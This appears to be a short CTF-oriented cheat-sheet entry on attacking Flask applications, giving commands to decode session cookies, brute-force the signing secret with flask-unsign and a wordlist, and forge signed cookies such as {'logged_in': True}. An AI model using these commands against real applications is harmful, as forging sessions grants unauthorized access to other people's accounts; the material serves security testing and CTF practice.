Flask

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Probably if you are playing a CTF a Flask application will be related to SSTI.

Cookies

Default cookie session name is session.

Decoder

Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Get the first part of the cookie until the first point and Base64 decode it>

echo "ImhlbGxvIg" | base64 -d

The cookie is also signed using a password

Flask-Unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.